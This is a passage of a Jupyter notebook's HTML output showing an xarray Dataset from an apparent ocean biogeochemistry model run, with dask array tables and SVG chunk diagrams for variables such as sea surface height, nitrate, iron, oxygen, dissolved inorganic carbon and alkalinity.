</td>\n", " <td>\n", " <svg width=\"429\" height=\"238\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line 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data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>sea surface height</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><pre>array([[[-0.4968735 , -0.48102024, -0.45140022, ..., -0.21179885,\n", " -0.2323978 , -0.27174047],\n", " [-0.50208086, -0.48845944, -0.4642659 , ..., -0.22339629,\n", " -0.24253824, -0.2753201 ],\n", " [-0.4770668 , -0.4681472 , -0.45971772, ..., -0.22425258,\n", " -0.24323115, -0.27386117],\n", " ...,\n", " [-0.67065454, -0.667637 , -0.66417253, ..., -0.91281706,\n", " -0.9186981 , -0.9199093 ],\n", " [-0.6729749 , -0.67039496, -0.66740495, ..., -0.9283859 ,\n", " -0.9280182 , -0.9256133 ],\n", " [-0.6754947 , -0.6731931 , -0.6705358 , ..., -0.92978585,\n", " -0.9299173 , -0.93009895]]], dtype=float32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>ubar</span></div><div class='xr-var-dims'>(ocean_time, eta_rho, xi_u)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102, 101), meta=np.ndarray&gt;</div><input id='attrs-25f5384d-a2b3-4afc-b050-2843ef16d242' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-25f5384d-a2b3-4afc-b050-2843ef16d242' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-907c42ac-c18f-4c3f-9637-4e3fd1011fef' class='xr-var-data-in' type='checkbox'><label for='data-907c42ac-c18f-4c3f-9637-4e3fd1011fef' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>vertically integrated u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 40.24 kiB </td>\n", " <td> 40.24 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 102, 101) </td>\n", " <td> (1, 102, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 116 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"193\" height=\"184\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"24\" y2=\"14\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"120\" x2=\"24\" y2=\"134\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" 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font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,7.474299,147.474299)\">1</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>vbar</span></div><div class='xr-var-dims'>(ocean_time, eta_v, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 101, 102), meta=np.ndarray&gt;</div><input id='attrs-70d512cb-0d2a-4f00-8507-a23f77e57bf4' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-70d512cb-0d2a-4f00-8507-a23f77e57bf4' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-7249a9cd-025a-49bb-9986-411a1aeb4583' class='xr-var-data-in' type='checkbox'><label for='data-7249a9cd-025a-49bb-9986-411a1aeb4583' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>vertically integrated v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 40.24 kiB </td>\n", " <td> 40.24 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 101, 102) </td>\n", " <td> (1, 101, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 116 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"194\" height=\"183\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", 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type='checkbox'><label for='data-1f58de6b-6d68-496f-9a6b-a8d3774fbb87' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved inorganic phosphate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 82 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >1</text>\n", " <text x=\"45.412617\" y=\"12.706308\" font-size=\"1.0rem\" font-weight=\"100\" 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xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-ede26762-be11-4d5a-93ce-d0dbb9dc6598' class='xr-var-data-in' type='checkbox'><label for='data-ede26762-be11-4d5a-93ce-d0dbb9dc6598' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved inorganic nitrate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" 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id='attrs-15624dc2-afd9-4228-adcb-f8d0e4001ae1' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-15624dc2-afd9-4228-adcb-f8d0e4001ae1' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-d058819b-7f31-4d2d-b725-e13b9e710bda' class='xr-var-data-in' type='checkbox'><label for='data-d058819b-7f31-4d2d-b725-e13b9e710bda' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved inorganic silicate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 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x2=\"284\" y2=\"189\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"164.20415224913495,69.20415224913495 284.20415224913495,69.20415224913495 284.20415224913495,189.20415224913495 164.20415224913495,189.20415224913495\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"224.204152\" y=\"209.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"304.204152\" y=\"129.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,304.204152,129.204152)\">102</text>\n", " <text x=\"119.602076\" y=\"174.602076\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,119.602076,174.602076)\">100</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>NH4</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-33d589a2-3564-4390-9303-ee65c425b9c7' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-33d589a2-3564-4390-9303-ee65c425b9c7' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-07f17bb7-c786-4605-82be-a690817a2843' class='xr-var-data-in' type='checkbox'><label for='data-07f17bb7-c786-4605-82be-a690817a2843' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved ammonia</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" 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<line x1=\"164\" y1=\"69\" x2=\"164\" y2=\"189\" style=\"stroke-width:2\" />\n", " <line x1=\"284\" y1=\"69\" x2=\"284\" y2=\"189\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"164.20415224913495,69.20415224913495 284.20415224913495,69.20415224913495 284.20415224913495,189.20415224913495 164.20415224913495,189.20415224913495\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"224.204152\" y=\"209.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"304.204152\" y=\"129.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,304.204152,129.204152)\">102</text>\n", " <text x=\"119.602076\" y=\"174.602076\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,119.602076,174.602076)\">100</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Fe</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-c7650213-61ff-4671-b108-080dcc2faf92' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c7650213-61ff-4671-b108-080dcc2faf92' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-38d349b5-ffeb-4221-89b2-ca82a7a582a7' class='xr-var-data-in' type='checkbox'><label for='data-38d349b5-ffeb-4221-89b2-ca82a7a582a7' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved inorganic iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>iron binding ligand</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line 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for='data-c05b3802-9374-4055-a0eb-8253c02d8d96' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved oxygen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >1</text>\n", " <text x=\"45.412617\" y=\"12.706308\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" 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font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"304.204152\" y=\"129.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,304.204152,129.204152)\">102</text>\n", " <text x=\"119.602076\" y=\"174.602076\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,119.602076,174.602076)\">100</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>DIC</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-4420f6bf-bb4b-479f-a821-6844813556b9' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-4420f6bf-bb4b-479f-a821-6844813556b9' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-7ec97694-8550-430d-93f8-3cbcb6d82dc2' class='xr-var-data-in' type='checkbox'><label for='data-7ec97694-8550-430d-93f8-3cbcb6d82dc2' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved inorganic carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" font-weight=\"100\" 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type='checkbox' ><label for='attrs-22e0a986-7690-41c7-aeba-2ded9696b41f' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-2bb0e3f4-c913-4247-8fdf-c942dc70e8cf' class='xr-var-data-in' type='checkbox'><label for='data-2bb0e3f4-c913-4247-8fdf-c942dc70e8cf' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved inorganic carbon, alternative CO2</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 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xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-69cbd300-e784-4c4f-b5a9-df5688304e4c' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-69cbd300-e784-4c4f-b5a9-df5688304e4c' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-d069715a-4a44-4f2a-a5df-f0719a7b6c4f' class='xr-var-data-in' type='checkbox'><label for='data-d069715a-4a44-4f2a-a5df-f0719a7b6c4f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>alkalinity</dd><dt><span>units :</span></dt><dd>meq/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" 